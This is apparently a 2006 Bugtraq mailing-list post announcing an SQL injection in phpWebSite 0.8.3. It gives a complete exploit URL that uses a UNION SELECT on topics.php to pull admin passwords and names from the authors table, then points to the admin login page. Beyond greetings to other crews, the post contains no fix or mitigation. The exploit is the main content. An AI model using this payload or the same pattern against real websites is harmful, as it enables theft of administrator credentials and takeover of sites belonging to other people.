[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
sql injection in phpWebSite 0.8.3
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: sql injection in phpWebSite 0.8.3
- From: help-users@xxxxxxxxxxx
- Date: 23 May 2006 22:33:48 -0000
hi to all ..
forum type : phpWebSite 0.8.3
bug found by : black-code
team : site-down
type : sql injection
code:
www.xxx.com/path/topics.php?op=viewtopic&topic=-1%20Union%20select%20null,null,pwd,name%20From%20authors
path to admin login:
http://www.xxx.com/admin.php
All my respect to my friend sweet-devil , lezr.com , g123g.net ..
done .. peace